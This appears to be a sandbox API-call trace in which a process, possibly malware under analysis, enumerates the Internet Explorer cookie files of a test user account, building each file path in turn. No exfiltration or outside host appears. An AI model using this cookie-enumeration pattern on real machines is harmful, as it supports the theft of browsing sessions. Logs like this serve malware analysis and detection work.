[0111.812] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.812] PathCombineW (in: pszDest=0x9a95b48, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@msn[2].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@msn[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@msn[2].txt" [0111.812] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd056d340, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd056d340, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd056d340, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@openx[1].txt", cAlternateFileName="AETADZ~4.TXT")) returned 1 [0111.812] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.812] lstrlenW (lpString="aetadzjz@openx[1].txt") returned 21 [0111.812] lstrlenW (lpString="*.txt") returned 5 [0111.812] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x106) returned 0x9a95c30 [0111.812] wcscpy (in: _Dest=0x9a95c58, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.812] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.812] PathCombineW (in: pszDest=0x9a95c58, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@openx[1].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@openx[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@openx[1].txt" [0111.812] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd05df760, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd05df760, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd05df760, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@pixel.rubiconproject[1].txt", cAlternateFileName="AE4ADC~1.TXT")) returned 1 [0111.812] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.813] lstrlenW (lpString="aetadzjz@pixel.rubiconproject[1].txt") returned 36 [0111.813] lstrlenW (lpString="*.txt") returned 5 [0111.813] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x124) returned 0x9a95d40 [0111.813] wcscpy (in: _Dest=0x9a95d68, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.813] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.813] PathCombineW (in: pszDest=0x9a95d68, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@pixel.rubiconproject[1].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@pixel.rubiconproject[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@pixel.rubiconproject[1].txt" [0111.813] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd094b700, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd0c6b3e0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd0c6b3e0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@pubmatic[2].txt", cAlternateFileName="AE20C2~1.TXT")) returned 1 [0111.813] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.813] lstrlenW (lpString="aetadzjz@pubmatic[2].txt") returned 24 [0111.813] lstrlenW (lpString="*.txt") returned 5 [0111.813] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x10c) returned 0x9a94230 [0111.813] wcscpy (in: _Dest=0x9a94258, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.813] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.813] PathCombineW (in: pszDest=0x9a94258, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@pubmatic[2].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@pubmatic[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@pubmatic[2].txt" [0111.813] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd05df760, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd05df760, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd05df760, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x12a, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@rubiconproject[1].txt", cAlternateFileName="AE4537~1.TXT")) returned 1 [0111.813] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.813] lstrlenW (lpString="aetadzjz@rubiconproject[1].txt") returned 30 [0111.813] lstrlenW (lpString="*.txt") returned 5 [0111.813] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x118) returned 0x9a94350 [0111.813] wcscpy (in: _Dest=0x9a94378, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.813] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.813] PathCombineW (in: pszDest=0x9a94378, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@rubiconproject[1].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@rubiconproject[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@rubiconproject[1].txt" [0111.813] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcc28e100, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcc28e100, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcc28e100, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@scorecardresearch[2].txt", cAlternateFileName="AE0340~1.TXT")) returned 1 [0111.813] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.813] lstrlenW (lpString="aetadzjz@scorecardresearch[2].txt") returned 33 [0111.813] lstrlenW (lpString="*.txt") returned 5 [0111.813] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x11e) returned 0x9a95e70 [0111.813] wcscpy (in: _Dest=0x9a95e98, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.813] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.813] PathCombineW (in: pszDest=0x9a95e98, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@scorecardresearch[2].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@scorecardresearch[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@scorecardresearch[2].txt" [0111.813] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd056d340, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd1be42e0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd1be42e0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@semasio[1].txt", cAlternateFileName="AEBD88~1.TXT")) returned 1 [0111.814] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.814] lstrlenW (lpString="aetadzjz@semasio[1].txt") returned 23 [0111.814] lstrlenW (lpString="*.txt") returned 5 [0111.814] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x10a) returned 0x9a94470 [0111.814] wcscpy (in: _Dest=0x9a94498, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.814] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.814] PathCombineW (in: pszDest=0x9a94498, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@semasio[1].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@semasio[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@semasio[1].txt" [0111.814] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd599100, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd599100, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd599100, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@server.adformdsp[2].txt", cAlternateFileName="AEE7C0~1.TXT")) returned 1 [0111.814] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.814] lstrlenW (lpString="aetadzjz@server.adformdsp[2].txt") returned 32 [0111.814] lstrlenW (lpString="*.txt") returned 5 [0111.814] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x11c) returned 0x9a95fa0 [0111.814] wcscpy (in: _Dest=0x9a95fc8, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.814] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.814] PathCombineW (in: pszDest=0x9a95fc8, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@server.adformdsp[2].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@server.adformdsp[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@server.adformdsp[2].txt" [0111.814] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82de1280, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x82de1280, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x82de1280, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@serving-sys[2].txt", cAlternateFileName="AEFEDF~1.TXT")) returned 1 [0111.814] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.814] lstrlenW (lpString="aetadzjz@serving-sys[2].txt") returned 27 [0111.814] lstrlenW (lpString="*.txt") returned 5 [0111.814] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x112) returned 0x9a94590 [0111.814] wcscpy (in: _Dest=0x9a945b8, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.814] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.814] PathCombineW (in: pszDest=0x9a945b8, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@serving-sys[2].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@serving-sys[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@serving-sys[2].txt" [0111.814] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd0a09de0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd0cdd800, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd0cdd800, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x19d, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@serving.experianmarketingservices[1].txt", cAlternateFileName="AEAB5A~1.TXT")) returned 1 [0111.814] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.814] lstrlenW (lpString="aetadzjz@serving.experianmarketingservices[1].txt") returned 49 [0111.814] lstrlenW (lpString="*.txt") returned 5 [0111.814] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x13e) returned 0x9a960d0 [0111.814] wcscpy (in: _Dest=0x9a960f8, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.814] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.815] PathCombineW (in: pszDest=0x9a960f8, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@serving.experianmarketingservices[1].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@serving.experianmarketingservices[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@serving.experianmarketingservices[1].txt" [0111.815] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd05934a0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd05934a0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd05934a0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x11f, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@smartadserver[1].txt", cAlternateFileName="AE50D4~1.TXT")) returned 1 [0111.815] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.815] lstrlenW (lpString="aetadzjz@smartadserver[1].txt") returned 29 [0111.815] lstrlenW (lpString="*.txt") returned 5 [0111.815] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x116) returned 0x9a946b0 [0111.815] wcscpy (in: _Dest=0x9a946d8, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.815] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.815] PathCombineW (in: pszDest=0x9a946d8, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@smartadserver[1].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@smartadserver[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@smartadserver[1].txt" [0111.815] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd09e3c80, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd09e3c80, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd09e3c80, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@tapad[2].txt", cAlternateFileName="AE5017~1.TXT")) returned 1 [0111.815] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.815] lstrlenW (lpString="aetadzjz@tapad[2].txt") returned 21 [0111.815] lstrlenW (lpString="*.txt") returned 5 [0111.815] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x106) returned 0x9a96220 [0111.815] wcscpy (in: _Dest=0x9a96248, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.815] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.815] PathCombineW (in: pszDest=0x9a96248, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@tapad[2].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@tapad[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@tapad[2].txt" [0111.815] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd2c56e0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0x1ab527c0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1ab527c0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@track.adform[2].txt", cAlternateFileName="AE650D~1.TXT")) returned 1 [0111.815] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.815] lstrlenW (lpString="aetadzjz@track.adform[2].txt") returned 28 [0111.815] lstrlenW (lpString="*.txt") returned 5 [0111.815] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x114) returned 0x9a947d0 [0111.815] wcscpy (in: _Dest=0x9a947f8, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.815] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.815] PathCombineW (in: pszDest=0x9a947f8, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@track.adform[2].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@track.adform[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@track.adform[2].txt" [0111.815] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd056d340, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd056d340, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd056d340, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x57, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@turn[1].txt", cAlternateFileName="AE662F~1.TXT")) returned 1 [0111.815] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.815] lstrlenW (lpString="aetadzjz@turn[1].txt") returned 20 [0111.815] lstrlenW (lpString="*.txt") returned 5 [0111.815] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x104) returned 0x9a96330 [0111.816] wcscpy (in: _Dest=0x9a96358, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.816] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.816] PathCombineW (in: pszDest=0x9a96358, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@turn[1].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@turn[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@turn[1].txt" [0111.816] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1af0aa20, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1af0aa20, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1af0aa20, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@w55c[2].txt", cAlternateFileName="AE15B2~1.TXT")) returned 1 [0111.816] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.816] lstrlenW (lpString="aetadzjz@w55c[2].txt") returned 20 [0111.816] lstrlenW (lpString="*.txt") returned 5 [0111.816] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x104) returned 0x9a96470 [0111.816] wcscpy (in: _Dest=0x9a96498, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.816] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.816] PathCombineW (in: pszDest=0x9a96498, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@w55c[2].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@w55c[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@w55c[2].txt" [0111.816] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xccfcbb60, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xccfcbb60, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xccfcbb60, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x75, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@www.bing[1].txt", cAlternateFileName="AETADZ~1.TXT")) returned 1 [0111.816] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.816] lstrlenW (lpString="aetadzjz@www.bing[1].txt") returned 24 [0111.816] lstrlenW (lpString="*.txt") returned 5 [0111.816] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x10c) returned 0x9a948f0 [0111.816] wcscpy (in: _Dest=0x9a94918, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") 